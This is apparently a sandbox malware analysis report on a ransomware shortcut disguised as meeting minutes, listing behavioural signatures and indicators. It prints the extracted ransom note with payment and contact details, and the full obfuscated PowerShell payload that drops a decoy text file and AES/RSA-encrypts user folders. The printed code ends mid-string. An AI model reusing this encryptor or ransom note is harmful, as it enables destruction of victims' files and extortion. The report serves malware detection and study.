Analysis
- max time kernel
101s - max time network
104s - platform
windows11-21h2_x64 - resource
win11-20250502-en - resource tags
arch:x64arch:x86image:win11-20250502-enlocale:en-usos:windows11-21h2-x64system - submitted
12/07/2025, 17:37
Static task
static1
Behavioral task
behavioral1
Sample
Project_Workshop_7th_Minutes.txt.lnk
Resource
win10v2004-20250619-en
13 signatures
150 seconds
Behavioral task
behavioral2
Sample
Project_Workshop_7th_Minutes.txt.lnk
Resource
win11-20250502-en
12 signatures
150 seconds
General
- Target Project_Workshop_7th_Minutes.txt.lnk
- Size 37KB
- Sample250712-v7b6cstrt7
- SHA256 12e2fd6aeee691d88791f0eea11ebbc4ad4cc2e895b69b3c186f9f9422ce7c31
- MD5 67efc87cc9e97a8b8f1f3c0d2757e424
- SHA1 f98d51eda6fb5068dd2109372970f156f841e9f8
- SHA512 8178439d94dff7a30159fd2e88daac39513c4bd70f952c1433d075b1778af125bec5e4f9e430b9f7f11d0f2b012aa75c77534020e9be9663f5a4a061f139e249
- SSDEEP 768:YXku18ju3XHu0HrcBsri4W38Ih0/Z3QHe/xGvqZS4up:Meu3edWIUd+
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Extracted
Path
-
C:\Users\Admin\Videos\DECRYPT_INSTRUCTION.html
Ransom Note
- <!DOCTYPE html><html lang='en'><head><meta charset='utf-8'/><meta content='width=device-width, initial-scale=1.0' name='viewport'/><title>DECRYPT INSTRUCTION</title><style>* {box-sizing:border-box;}body {min-height:100vh;padding:20px;}.container {max-width:900px;margin:20px auto;background-color:#fff;border-radius:8px;overflow:hidden;box-shadow:0 5px 15px rgba(0, 0, 0, 0.1);border:1px solid #e0e0e0;}.header {background-color:rgb(144, 0, 33);text-align:center;color:white;display:flex;align-items:center;justify-content:center;gap:15px;border-bottom:2px solid rgb(100, 0, 23);}.lock-icon {font-size:24px;background-color:#fff;color:rgb(144, 0, 33);width:40px;height:40px;border-radius:50%;display:flex;align-items:center;justify-content:center;}.header h1 {font-size:24px;letter-spacing:0.5px;}.countdown-container {display:flex;justify-content:space-around;padding:20px;background-color:rgb(144, 0, 33);color:white;border-bottom:1px solid rgb(100, 0, 23);}.countdown-box {background-color:rgba(0, 0, 0, 0.2);border-radius:6px;padding:15px 20px;text-align:center;width:400px;}.countdown-title {font-size:16px;font-weight:bold;margin-bottom:10px;color:white;}.timer {font-size:20px;font-weight:bold;letter-spacing:1px;background-color:#000;color:#ff3333;padding:8px;border-radius:4px;text-align:center;}.warning {font-size:13px;font-style:italic;color:white;text-align:center;margin-top:8px;}.content {padding:30px;}.section {margin-bottom:30px;}.section-title {font-size:20px;margin-bottom:15px;font-weight:bold;color:rgb(144, 0, 33);}.section-content {line-height:1.6;margin-bottom:15px;}.monero-address {margin-top:20px;background-color:#f9f9f9;padding:20px;border-radius:6px;border-left:4px solid rgb(144, 0, 33);}.address-label {font-size:16px;font-weight:bold;color:rgb(144, 0, 33);margin-bottom:10px;}.address-box {display:flex;background:#f0f0f0;border:1px solid #ddd;border-radius:4px;overflow:hidden;margin-top:10px;}.address-input {flex:1;padding:12px 15px;font-size:14px;border:none;background:#f5f5f5;color:#333;}.generate-btn {background-color:rgb(144, 0, 33);color:white;border:none;margin-top:12px;padding:12px 15px;border-radius:4px;cursor:pointer;font-size:14px;}.copy-btn {background-color:#6c757d;color:white;border:none;padding:0 15px;cursor:pointer;font-size:14px;transition:background-color 0.3s;}.copy-btn:hover {background-color:#5a6268;}.footer {background-color:rgb(144, 0, 33);padding:15px;text-align:center;font-size:12px;color:white;border-top:1px solid rgb(100, 0, 23);}.contact-address {background-color:#f9f9f9;padding:20px;border-radius:6px;border-left:4px solid rgb(144, 0, 33);margin-top:20px;}.contact-label {font-weight:bold;margin-bottom:8px;color:rgb(144, 0, 33);}</style></head><body><div class='container'><div class='header'><div class='lock-icon'>🔒</div><h1>DECRYPT INSTRUCTION</h1></div><div class='countdown-container'><div class='countdown-box'><div class='countdown-title'>PAYMENT DUE IN</div><div class='timer' id='paymentTimer'>48:00:00</div><div class='warning'>After this time, the price will double</div></div><div class='countdown-box'><div class='countdown-title'>FILES LOST IN</div><div class='timer' id='fileTimer'>120:00:00</div><div class='warning'>After this time, decryption will be impossible</div></div></div><div class='content'><div class='section'><div class='section-title'>1. What Happened?</div><div class='section-content'><p>Your important files are encrypted.</p><p>Many of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are busy looking for a way to recover your files, but do not waste your time. <strong>Nobody can recover your files without our decryption service.</strong></p></div></div><div class='section'><div class='section-title'>2. Can I Recover My Files?</div><div class='section-content'><p>Sure. We guarantee that you can recover all your files safely and easily. But you have not so enough time. If you want to decrypt all your files, you need to pay.</p><p>You only have 2 days to submit the payment. After that the price will be doubled. <strong>Also, if you don't pay in 5 days, we will disclose the private data to your contacts, and you won't be able to recover your files forever.</strong></p></div></div><div class='section'><div class='section-title'>3. What about guarantees?</div><div class='section-content'><p>Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will cooperate with us. Its not in our interests.</p></div></div><div class='section'><div class='section-title'>4. How Do I Pay?</div><div class='section-content'><p>Payment is accepted in Monero (XMR) only. For more information, click <a href='https://www.getmonero.org/'>About Monero</a>. Please check the current price of Monero and send the correct amount. For more information, click <a href='https://www.kraken.com/learn/buy-monero-xmr'>How to buy Monero</a>. Once the payment is checked, we guarantee that you will immediately receive the key and can decrypt your files.</p><div class='monero-address'><div class='address-label'>Send $500 worth of Monero to this address:</div><div class='address-box'><input class='address-input' readonly='' type='text' value='8BEMpCuSL5aBF5rG1a9UNFgBcPU16eNUXbXDBzQJqD3E4jdJaUhAw3LCVH3F4gPUysioYrjsPMa3447oLoSuAhUrH7EQtCC'/><button class='copy-btn'>Copy</button></div></div><p>After your payment, you can find 'Transaction ID' and 'Transaction Key' on the transfers page. These IDs are generated to prove the validity of the transaction. Please fill in the boxes below and click the [Generate Machine ID] button.</p><div class='monero-address'><div class='address-label'>Transaction ID:</div><div class='address-box'><input class='address-input' id='TxnID' type='text'/></div><div class='address-label'>Transaction Key:</div><div class='address-box'><input class='address-input' id='TxnKey' type='text'/></div><button class='generate-btn' onclick='saveMachineID()'>Generate Machine ID</button></div><p><strong>This will generate a Machine ID file that needs to be sent along to us in order to decrypt files.</strong></p></div></div><div class='section'><div class='section-title'>5. How will the decryption process proceed after payment?</div><div class='section-content'><p>After payment we will send to you our scanner-decoder program and detailed instructions for use. With this program you will be able to decrypt all your encrypted files.</p></div></div><div class='section'><div class='section-title'>6. How to contact with you?</div><div class='section-content'><p>You can contact us via mailbox or TOX. If you don't know about TOX, go to <a href='https://tox.chat'>https://tox.chat.</a></p><p><strong>Finally, trust that we are a reputable group. We promise that you can recover all your files after the payment.</strong></p></div></div><div class='contact-address'><div class='contact-label'>Email Address:</div><div class='address-box'><input class='address-input' readonly='' type='text' value='[email protected]'/><button class='copy-btn'>Copy</button></div><div class='contact-label'>Tox ID:</div><div class='address-box'><input class='address-input' readonly='' type='text' value='D6DABDD9600C9C5481ED4127071509D287DD539FB36F0BC82D4FA0F0800AF970923B5500064D'/><button class='copy-btn'>Copy</button></div></div></div><div class='footer'>© 2025 File Decryptor Service. All rights reserved. Decryption keys are securely stored on our servers. </div><div data-payload='dVv1xLcceR53ZpswHt4wsq6DyhbzpmjKbpfrYNAg7jsaSEmUk7tgJkuayXjPYYQhMzDZ/T/sldFE8Yj9e5jrXyCe6/bC+qYU/Uv3Q8oBOBiwJYCBMlaYzJi9aHEpWb7lrqKWIjKbX7xymDkCesKi7NO4c8uAczKKL2HqLgZoiqig3ifo3T1LqXq3Pm8onV8i5IRJcd9XmUoUAuN6+VGanpkg83npGDU5JtRBE7WelRIrsTsZuqN5JUkkSSzY5h1/VjAO7mB0fCqbhLP+wt9c0ThfmfX1S1cCmnjAUF3xQF4wJ58PzBRMzepPf8OCPOiS6xcbhCu1jKWvx7rQutj45w==' id='data'></div></div><script>const eData = new Date(1752341849*1000);function startCountdown(){const paymentTimer = document.getElementById('paymentTimer');const fileTimer = document.getElementById('fileTimer');const paymentDue = new Date(eData);paymentDue.setDate(paymentDue.getDate()+ 2);const fileLost = new Date(eData);fileLost.setDate(fileLost.getDate()+ 5);function updateTimers(){const now = new Date();let paymentDiff = paymentDue - now;if (paymentDiff <= 0){paymentTimer.textContent = '00:00:00';}else {const paymentHours = Math.floor(paymentDiff / (1000 * 60 * 60));paymentDiff %= (1000 * 60 * 60);const paymentMinutes = Math.floor(paymentDiff / (1000 * 60));paymentDiff %= (1000 * 60);const paymentSeconds = Math.floor(paymentDiff / 1000);paymentTimer.textContent = paymentHours.toString().padStart(2,'0')+':'+paymentMinutes.toString().padStart(2,'0')+':'+paymentSeconds.toString().padStart(2,'0');}let fileDiff = fileLost - now;if (fileDiff <= 0){fileTimer.textContent = '00:00:00';}else {const fileHours = Math.floor(fileDiff / (1000 * 60 * 60));fileDiff %= (1000 * 60 * 60);const fileMinutes = Math.floor(fileDiff / (1000 * 60));fileDiff %= (1000 * 60);const fileSeconds = Math.floor(fileDiff / 1000);fileTimer.textContent = fileHours.toString().padStart(2,'0')+':'+fileMinutes.toString().padStart(2,'0')+':'+fileSeconds.toString().padStart(2,'0');}}updateTimers();setInterval(updateTimers, 1000);}function saveMachineID(){const TxnID = document.getElementById('TxnID').value.trim();const TxnKey = document.getElementById('TxnKey').value.trim();const MID = document.getElementById('data').dataset.payload;if (TxnID.length!==64){alert('Invalid Transaction ID');return;}if (TxnKey.length!==64){alert('Invalid Transaction Key');return;}const comb = TxnID+TxnKey+MID;const blob = new Blob([comb], {type:'text/plain;charset=utf-8'});const fileName = 'Your_Machine_ID.txt';const url = URL.createObjectURL(blob);const a = document.createElement('a');a.href = url;a.download = fileName;a.style.display = 'none';document.body.appendChild(a);a.click();}document.querySelectorAll('.copy-btn').forEach(button =>{button.addEventListener('click', async function(){const input = this.parentNode.querySelector('.address-input');try {await navigator.clipboard.writeText(input.value);const originalText = this.textContent;this.textContent = 'Copied!';setTimeout(()=>{this.textContent = originalText;}, 2000);}catch (err){console.error('Copy fail:', err);}});});window.onload = startCountdown;</script></body></html>
Emails
-
value='[email protected]'/><button
Signatures
- CryptoWall
Ransomware family which is an improved version of the older CryptoDefense.
- Cryptowall family
- Renames multiple (122) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Blocklisted process makes network request 1 IoCs
flow pid Process 2 3400 powershell.exe -
pid Process 3400 powershell.exe - Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3518521428-3897247806-4080064211-1000_Classes\Local Settings powershell.exe - Opens file in notepad (likely ransom note) 1 IoCs
pid Process 2132 NOTEPAD.EXE - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3400 powershell.exe 3400 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3400 powershell.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4976 wrote to memory of 3400 4976 cmd.exe 79 PID 4976 wrote to memory of 3400 4976 cmd.exe 79 PID 3400 wrote to memory of 2132 3400 powershell.exe 80 PID 3400 wrote to memory of 2132 3400 powershell.exe 80
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Project_Workshop_7th_Minutes.txt.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:4976 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c "$f='C:\Users\'+$env:USERNAME+'\Downloads\Project_Workshop_7th_Minutes.txt';$c=\"MEETING MINUTES`r`nProject/Committee: Quarterly Research Progress Review`r`nTime: 10:00 AM - 11:30 AM`r`nLocation: Conference Room 301, Innovation Center`r`nChairperson: Dr. Alexandra Chen`r`nSecretary: Janna Riley`r`n`r`nATTENDEES`r`nChair, RDC Department: Dr. Alexandra Chen`r`nExternal Advisor: Prof. Benjamin Lee`r`nLead Researcher: Dr. Sophia Martinez`r`nData Analyst: Mr. James Wilson`r`nProject Coordinator: Ms. Emily Zhao`r`nAbsent with Notice: Dr. Robert Kim`r`n`r`nAGENDA ITEMS`r`n1. Review of Q2 Research Milestones`r`nDiscussion: Dr. Martinez presented progress on Phase 3 clinical trials, highlighting 85% participant enrollment completion. Prof. Lee raised concerns about data variance in Group B. Decision: Approval to allocate additional 15,000 budget for statistical consultation.`r`nAction Items:`r`n(1) Dr. Martinez to submit revised analysis report.`r`n(2) Mr. Wilson to audit Group B data anomalies.`r`n`r`n2. Publication Strategy for Findings`r`nDiscussion: Debate on prioritizing high-impact journals vs. open-access platforms. Ms. Zhao noted funding mandates requiring open-access compliance.`r`nDecision: Dual-track submission to The Lancet and institutional repository.`r`nAction Items:`r`n(1) Prof. Lee to contact Lancet editorial board.`r`n(2) Ms. Zhao to prepare preprint deposit.`r`n`r`n3. Ethics Compliance Update`r`nDiscussion: IRB flagged consent form discrepancies in Site 5 documentation.`r`nDecision: Immediate suspension of Site 5 recruitment pending audit.`r`nAction Items:`r`n(1) Dr. Chen to lead compliance review team.\";Set-Content -Path $f -Value $c -Encoding UTF8 -Force;Invoke-Item $f;$vRTfFXbX99=$eNV:USERNAME;$slFWoOrP99='C:\Users\'+$vRTfFXbX99;$AkGaihQv99=@('\Desktop','\Documents','\OneDrive','\Pictures','\Videos','\Music','\Downloads');$kEY=New-Object byte[] 16;$zyBYjPSi99=[SYsteM.SeCUrIty.CryptoGrApHy.rngCRyptoSErvicEPRovIDEr]::new();$zyBYjPSi99.GetBytes($kEY);$Key_m=[byte[]]@(0xdd,0x39,0x18,0xff,0x64,0xd4,0xfb,0xc6,0xc7,0x6e,0x89,0x82,0xff,0xca,0x9e,0xe5,0x0f,0x7b,0x30,0x8a,0xe0,0xc1,0x53,0x11,0x84,0x5a,0xac,0x09,0xca,0xf0,0xc9,0xea,0x15,0x37,0x98,0x88,0x92,0x4e,0xb4,0xce,0x12,0x51,0x7d,0xb7,0xc2,0xf3,0x54,0x96,0xd4,0x12,0x66,0xbd,0x35,0x19,0xd9,0x14,0x71,0xe6,0x3d,0x68,0x1e,0x44,0x7f,0xc9,0x85,0xf8,0x38,0x76,0x9a,0x12,0xad,0x4f,0xc6,0x0b,0x25,0x70,0x24,0x0e,0x4b,0x39,0xe8,0x59,0x25,0xe7,0x96,0x2b,0x60,0xe2,0x1c,0x58,0xbf,0x9b,0xbf,0x93,0x83,0xef,0x65,0xdd,0x02,0xa4,0xa8,0x3d,0x9d,0xd3,0x85,0xb6,0xb7,0x5a,0xe5,0x12,0x4c,0xe4,0x92,0xd2,0x0b,0x02,0xd0,0x5e,0x78,0x7d,0xb4,0x6c,0xb0,0xa9,0xda,0x2a,0xe2,0x1a,0x65,0x12,0xed,0x98,0x88,0x51,0xac,0x81,0x0c,0x5d,0x0d,0xd2,0xc7,0x17,0x7a,0x50,0x1f,0xbe,0xbe,0x64,0x33,0xb5,0x43,0x66,0x95,0xeb,0xe7,0x0e,0xd8,0x6c,0xb8,0x4e,0xac,0xf6,0x1c,0x23,0x50,0x37,0x6f,0xb3,0x77,0xeb,0xf4,0x9f,0x8c,0xf1,0x40,0x24,0x98,0x92,0xc4,0xf0,0x96,0x0f,0x43,0x65,0xaf,0xfb,0x94,0xc4,0x1f,0x14,0x08,0x56,0x8b,0xfe,0x6d,0x9a,0x5a,0x08,0xd8,0xe0,0x74,0x49,0x87,0x9e,0x4b,0x9a,0x92,0xad,0xa7,0xee,0x33,0x20,0x7c,0x75,0x2b,0x8b,0x37,0xd3,0x6c,0x6c,0x7a,0xd2,0x44,0x24,0x53,0xa7,0xc4,0xf2,0x3c,0xc5,0x79,0xcd,0x9c,0x70,0x04,0x02,0xf8,0x1f,0x44,0x99,0x96,0xe0,0x29,0xaa,0xa3,0x65,0xe9,0xe0,0x46,0x21,0x34,0xde,0x33,0xf5,0x73,0xeb);$kEY_E=[byte[]]@(0x01,0x00,0x01);$wVWNiGgX99=New-Object sysTEm.SEcUrIty.CRyPTOgrapHY.rSaParameters;$wVWNiGgX99.Modulus=$Key_m;$wVWNiGgX99.Exponent=$kEY_E;$rsa=[sysTEm.SEcUrIty.CRyPTOgrapHY.rSa]::Create();$rsa.ImportParameters($wVWNiGgX99);$VhBppDOc99=$rsa.Encrypt($kEY,[SYstem.secuRiTy.cRYPtOgRaPhY.rsAENCRyptioNPadDIng]::Pkcs1);$CYwQwYHI99=[sYsTem.BItconveRtEr]::GetBytes([SySTEm.dAtETiMEOfFseT]::UtcNow.ToUnixTimeSeconds());$PyCaWbSp99=@('.exe','.lnk','.dll','.bin','.bat','.cmd','.sys','.inf','.vxd','.ini','.cfg','.reg','.hiv','.ENCRYPT');foreach($CiWVvyXw99 in $AkGaihQv99) {$jGlkzoDW99=$slFWoOrP99+$CiWVvyXw99;if (Test-Path -LiteralPath $jGlkzoDW99) {$zaZUmabr99=Get-ChildItem -Path $jGlkzoDW99 -File -Recurse;foreach ($YWZsVfTx99 in $zaZUmabr99) {$HVEvLQGG99=$YWZsVfTx99.Extension.ToLower();if ($PyCaWbSp99 -contains $HVEvLQGG99){continue}try{$KDJdjrbK99=[syStEM.iO.File]::ReadAllBytes($YWZsVfTx99.FullName);$FcOlqhnq99=[SysTEM.seCurity.cRYPtOgraphy.AeS]::Create();$FcOlqhnq99.Key=$kEY;$FcOlqhnq99.GenerateIV();$FcOlqhnq99.Mode=[SySteM.SecuRiTY.CRypTogRapHY.ciPhErMOdE]::CBC;$FcOlqhnq99.Padding=[SYstEM.secuRITY.CrYPTOgrapHy.PaDDiNgMODe]::PKCS7;$xvrxmTkJ99=$FcOlqhnq99.CreateEncryptor();$oDCsHWcT99=$xvrxmTkJ99.TransformFinalBlock($KDJdjrbK99, 0, $KDJdjrbK99.Length);[syStEM.iO.File]::WriteAllBytes($YWZsVfTx99.FullName, $CYwQwYHI99+$VhBppDOc99+$FcOlqhnq99.IV+$oDCsHWcT99);$dWCcDFLY99=$YWZsVfTx99.Name+'.ENCRYPT';Rename-Item -Path $YWZsVfTx99.FullName -NewName $dWCcDFLY99 -Force;}finally {if ($FcOlqhnq99) { $FcOlqhnq99.Dispose();}}}$h=$jGlkzoDW99+'\DECRYPT_INSTRUCTION.html';$i=\"PCFET0NUWVBFIGh0bWw+PGh0bWwgbGFuZz0nZW4nPjxoZWFkPjxtZXRhIGNoYXJzZXQ9J3V0Zi04Jy8+PG1ldGEgY29udGVudD0nd2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCcgbmFtZT0ndmlld3BvcnQnLz48dGl0bGU+REVDUllQVCBJTlNUUlVDVElPTjwvdGl0bGU+PHN0eWxlPioge2JveC1zaXppbmc6Ym9yZGVyLWJveDt9Ym9keSB7bWluLWhlaWdodDoxMDB2aDtwYWRkaW5nOjIwcHg7fS5jb250YWluZXIge21heC13aWR0aDo5MDBweDttYXJnaW46MjBweCBhdXRvO2JhY2tncm91bmQtY29sb3I6I2ZmZjtib3JkZXItcmFkaXVzOjhweDtvdmVyZmxvdzpoaWRkZW47Ym94LXNoYWRvdzowIDVweCAxNXB4IHJnYmEoMCwgMCwgMCwgMC4xKTtib3JkZXI6MXB4IHNvbGlkICNlMGUwZTA7fS5oZWFkZXIge2JhY2tncm91bmQtY29sb3I6cmdiKDE0NCwgMCwgMzMpO3RleHQtYWxpZ246Y2VudGVyO2NvbG9yOndoaXRlO2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OmNlbnRlcjtnYXA6MTVweDtib3JkZXItYm90dG9tOjJweCBzb2xpZCByZ2IoMTAwLCAwLCAyMyk7fS5sb2NrLWljb24ge2ZvbnQtc2l6ZToyNHB4O2JhY2tncm91bmQtY29sb3I6I2ZmZjtjb2xvcjpyZ2IoMTQ0LCAwLCAzMyk7d2lkdGg6NDBweDtoZWlnaHQ6NDBweDtib3JkZXItcmFkaXVzOjUwJTtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpjZW50ZXI7fS5oZWFkZXIgaDEge2ZvbnQtc2l6ZToyNHB4O2xldHRlci1zcGFjaW5nOjAuNXB4O30uY291bnRkb3duLWNvbnRhaW5lciB7ZGlzcGxheTpmbGV4O2p1c3RpZnktY29udGVudDpzcGFjZS1hcm91bmQ7cGFkZGluZzoyMHB4O2JhY2tncm91bmQtY29sb3I6cmdiKDE0NCwgMCwgMzMpO2NvbG9yOndoaXRlO2JvcmRlci1ib3R0b206MXB4IHNvbGlkIHJnYigxMDAsIDAsIDIzKTt9LmNvdW50ZG93bi1ib3gge2JhY2tncm91bmQtY29sb3I6cmdiYSgwLCAwLCAwLCAwLjIpO2JvcmRlci1yYWRpdXM6NnB4O3BhZGRpbmc6MTVweCAyMHB4O3RleHQtYWxpZ246Y2VudGVyO3dpZHRoOjQwMHB4O30uY291bnRkb3duLXRpdGxlIHtmb250LXNpemU6MTZweDtmb250LXdlaWdodDpib2xkO21hcmdpbi1ib3R0b206MTBweDtjb2xvcjp3aGl0ZTt9LnRpbWVyIHtmb250LXNpemU6MjBweDtmb250LXdlaWdodDpib2xkO2xldHRlci1zcGFjaW5nOjFweDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7Y29sb3I6I2ZmMzMzMztwYWRkaW5nOjhweDtib3JkZXItcmFkaXVzOjRweDt0ZXh0LWFsaWduOmNlbnRlcjt9Lndhcm5pbmcge2ZvbnQtc2l6ZToxM3B4O2ZvbnQtc3R5bGU6aXRhbGljO2NvbG9yOndoaXRlO3RleHQtYWxpZ246Y2VudGVyO21hcmdpbi10b3A6OHB4O30uY29udGVudCB7cGFkZGluZzozMHB4O30uc2VjdGlvbiB7bWFyZ2luLWJvdHRvbTozMHB4O30uc2VjdGlvbi10aXRsZSB7Zm9udC1zaXplOjIwcHg7bWFyZ2luLWJvdHRvbToxNXB4O2ZvbnQtd2VpZ2h0OmJvbGQ7Y29sb3I6cmdiKDE0NCwgMCwgMzMpO30uc2VjdGlvbi1jb250ZW50IHtsaW5lLWhlaWdodDoxLjY7bWFyZ2luLWJvdHRvbToxNXB4O30ubW9uZXJvLWFkZHJlc3Mge21hcmdpbi10b3A6MjBweDtiYWNrZ3JvdW5kLWNvbG9yOiNmOWY5Zjk7cGFkZGluZzoyMHB4O2JvcmRlci1yYWRpdXM6NnB4O2JvcmRlci1sZWZ0OjRweCBzb2xpZCByZ2IoMTQ0LCAwLCAzMyk7fS5hZGRyZXNzLWxhYmVsIHtmb250LXNpemU6MTZweDtmb250LXdlaWdodDpib2xkO2NvbG9yOnJnYigxNDQsIDAsIDMzKTttYXJnaW4tYm90dG9tOjEwcHg7fS5hZGRyZXNzLWJveCB7ZGlzcGxheTpmbGV4O2JhY2tncm91bmQ6I2YwZjBmMDtib3JkZXI6MXB4IHNvbGlkICNkZGQ7Ym9yZGVyLXJhZGl1czo0cHg7b3ZlcmZsb3c6aGlkZGVuO21hcmdpbi10b3A6MTBweDt9LmFkZHJlc3MtaW5wdXQge2ZsZXg6MTtwYWRkaW5nOjEycHggMTVweDtmb250LXNpemU6MTRweDtib3JkZXI6bm9uZTtiYWNrZ3JvdW5kOiNmNWY1ZjU7Y29sb3I6IzMzMzt9LmdlbmVyYXRlLWJ0biB7YmFja2dyb3VuZC1jb2xvcjpyZ2IoMTQ0LCAwLCAzMyk7Y29sb3I6d2hpdGU7Ym9yZGVyOm5vbmU7bWFyZ2luLXRvcDoxMnB4O3BhZGRpbmc6MTJweCAxNXB4O2JvcmRlci1yYWRpdXM6NHB4O2N1cnNvcjpwb2ludGVyO2ZvbnQtc2l6ZToxNHB4O30uY29weS1idG4ge2JhY2tncm91bmQtY29sb3I6IzZjNzU3ZDtjb2xvcjp3aGl0ZTtib3JkZXI6bm9uZTtwYWRkaW5nOjAgMTVweDtjdXJzb3I6cG9pbnRlcjtmb250LXNpemU6MTRweDt0cmFuc2l0aW9uOmJhY2tncm91bmQtY29sb3IgMC4zczt9LmNvcHktYnRuOmhvdmVyIHtiYWNrZ3JvdW5kLWNvbG9yOiM1YTYyNjg7fS5mb290ZXIge2JhY2tncm91bmQtY29sb3I6cmdiKDE0NCwgMCwgMzMpO3BhZGRpbmc6MTVweDt0ZXh0LWFsaWduOmNlbnRlcjtmb250LXNpemU6MTJweDtjb2xvcjp3aGl0ZTtib3JkZXItdG9wOjFweCBzb2xpZCByZ2IoMTAwLCAwLCAyMyk7fS5jb250YWN0LWFkZHJlc3Mge2JhY2tncm91bmQtY29sb3I6I2Y5ZjlmOTtwYWRkaW5nOjIwcHg7Ym9yZGVyLXJhZGl1czo2cHg7Ym9yZGVyLWxlZnQ6NHB4IHNvbGlkIHJnYigxNDQsIDAsIDMzKTttYXJnaW4tdG9wOjIwcHg7fS5jb250YWN0LWxhYmVsIHtmb250LXdlaWdodDpib2xkO21hcmdpbi1ib3R0b206OHB4O2NvbG9yOnJnYigxNDQsIDAsIDMzKTt9PC9zdHlsZT48L2hlYWQ+PGJvZHk+PGRpdiBjbGFzcz0nY29udGFpbmVyJz48ZGl2IGNsYXNzPSdoZWFkZXInPjxkaXYgY2xhc3M9J2xvY2staWNvbic+8J+UkjwvZGl2PjxoMT5ERUNSWVBUIElOU1RSVUNUSU9OPC9oMT48L2Rpdj48ZGl2IGNsYXNzPSdjb3VudGRvd24tY29udGFpbmVyJz48ZGl2IGNsYXNzPSdjb3VudGRvd24tYm94Jz48ZGl2IGNsYXNzPSdjb3VudGRvd24tdGl0bGUnPlBBWU1FTlQgRFVFIElOPC9kaXY+PGRpdiBjbGFzcz0ndGltZXInIGlkPSdwYXltZW50VGltZXInPjQ4OjAwOjAwPC9kaXY+PGRpdiBjbGFzcz0nd2FybmluZyc+QWZ0ZXIgdGhpcyB0aW1lLCB0aGUgcHJpY2Ugd2lsbCBkb3VibGU8L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdjb3VudGRvd24tYm94Jz48ZGl2IGNsYXNzPSdjb3VudGRvd24tdGl0bGUnPkZJTEVTIExPU1QgSU48L2Rpdj48ZGl2IGNsYXNzPSd0aW1lcicgaWQ9J2ZpbGVUaW1lcic+MTIwOjAwOjAwPC9kaXY+PGRpdiBjbGFzcz0nd2FybmluZyc+QWZ0ZXIgdGhpcyB0aW1lLCBkZWNyeXB0aW9uIHdpbGwgYmUgaW1wb3NzaWJsZTwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9J2NvbnRlbnQnPjxkaXYgY2xhc3M9J3NlY3Rpb24nPjxkaXYgY2xhc3M9J3NlY3Rpb24tdGl0bGUnPjEuIFdoYXQgSGFwcGVuZWQ/PC9kaXY+PGRpdiBjbGFzcz0nc2VjdGlvbi1jb250ZW50Jz48cD5Zb3VyIGltcG9ydGFudCBmaWxlcyBhcmUgZW5jcnlwdGVkLjwvcD48cD5NYW55IG9mIHlvdXIgZG9jdW1lbnRzLCBwaG90b3MsIHZpZGVvcywgZGF0YWJhc2VzIGFuZCBvdGhlciBmaWxlcyBhcmUgbm8gbG9uZ2VyIGFjY2Vzc2libGUgYmVjYXVzZSB0aGV5IGhhdmUgYmVlbiBlbmNyeXB0ZWQuIE1heWJlIHlvdSBhcmUgYnVzeSBsb29raW5nIGZvciBhIHdheSB0byByZWNvdmVyIHlvdXIgZmlsZXMsIGJ1dCBkbyBub3Qgd2FzdGUgeW91ciB0aW1lLiA8c3Ryb25nPk5vYm9keSBjYW4gcmVjb3ZlciB5b3VyIGZpbGVzIHdpdGhvdXQgb3VyIGRlY3J5cHRpb24gc2VydmljZS48L3N0cm9uZz48L3A+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nc2VjdGlvbic+PGRpdiBjbGFzcz0nc2VjdGlvbi10aXRsZSc+Mi4gQ2FuIEkgUmVjb3ZlciBNeSBGaWxlcz88L2Rpdj48ZGl2IGNsYXNzPSdzZWN0aW9uLWNvbnRlbnQnPjxwPlN1cmUuIFdlIGd1YXJhbnRlZSB0aGF0IHlvdSBjYW4gcmVjb3ZlciBhbGwgeW91ciBmaWxlcyBzYWZlbHkgYW5kIGVhc2lseS4gQnV0IHlvdSBoYXZlIG5vdCBzbyBlbm91Z2ggdGltZS4gSWYgeW91IHdhbnQgdG8gZGVjcnlwdCBhbGwgeW91ciBmaWxlcywgeW91IG5lZWQgdG8gcGF5LjwvcD48cD5Zb3Ugb25seSBoYXZlIDIgZGF5cyB0byBzdWJtaXQgdGhlIHBheW1lbnQuIEFmdGVyIHRoYXQgdGhlIHByaWNlIHdpbGwgYmUgZG91YmxlZC4gPHN0cm9uZz5BbHNvLCBpZiB5b3UgZG9uJ3QgcGF5IGluIDUgZGF5cywgd2Ugd2lsbCBkaXNjbG9zZSB0aGUgcHJpdmF0ZSBkYXRhIHRvIHlvdXIgY29udGFjdHMsIGFuZCB5b3Ugd29uJ3QgYmUgYWJsZSB0byByZWNvdmVyIHlvdXIgZmlsZXMgZm9yZXZlci48L3N0cm9uZz48L3A+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nc2VjdGlvbic+PGRpdiBjbGFzcz0nc2VjdGlvbi10aXRsZSc+My4gV2hhdCBhYm91dCBndWFyYW50ZWVzPzwvZGl2PjxkaXYgY2xhc3M9J3NlY3Rpb24tY29udGVudCc+PHA+SXRzIGp1c3QgYSBidXNpbmVzcy4gV2UgYWJzb2x1dGVseSBkbyBub3QgY2FyZSBhYm91dCB5b3UgYW5kIHlvdXIgZGVh